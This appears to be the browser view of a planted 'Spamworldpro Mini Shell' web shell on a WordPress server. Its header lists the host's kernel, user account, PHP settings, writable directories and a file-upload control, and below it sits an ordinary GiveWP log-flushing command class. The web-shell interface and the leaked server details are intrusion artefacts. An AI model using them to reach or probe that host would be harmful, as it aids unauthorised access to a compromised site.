Spamworldpro Mini Shell
Spamworldpro


Server : Apache
System : Linux server2.corals.io 4.18.0-348.2.1.el8_5.x86_64 #1 SMP Mon Nov 15 09:17:08 EST 2021 x86_64
User : corals ( 1002)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/corals/mets.corals.io/wp-content/plugins/give/src/Log/Commands/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/corals/mets.corals.io/wp-content/plugins/give/src/Log/Commands/FlushLogsCommand.php
<?php

namespace Give\Log\Commands;

use Give\Log\LogRepository;
use WP_CLI;

/**
 * Class FlushLogsCommand
 * @package Give\Log\Commands
 *
 * A WP-CLI command for flushing logs
 */
class FlushLogsCommand
{
    /**
     * @var LogRepository
     */
    private $logRepository;

    /**
     * FlushLogsCommand constructor.
     *
     * @param LogRepository $repository
     */
    public function __construct(LogRepository $repository)
    {
        $this->logRepository = $repository;
    }

    /**
     * Flush logs
     * ## EXAMPLE
     *
     *     wp give flush-logs
     */
    public function __invoke()
    {
        try {
            $this->logRepository->flushLogs();
            WP_CLI::success('Logs flushed');
        } catch (\Exception $e) {
            WP_CLI::error($e->getMessage());
        }
    }
}


Spamworldpro Mini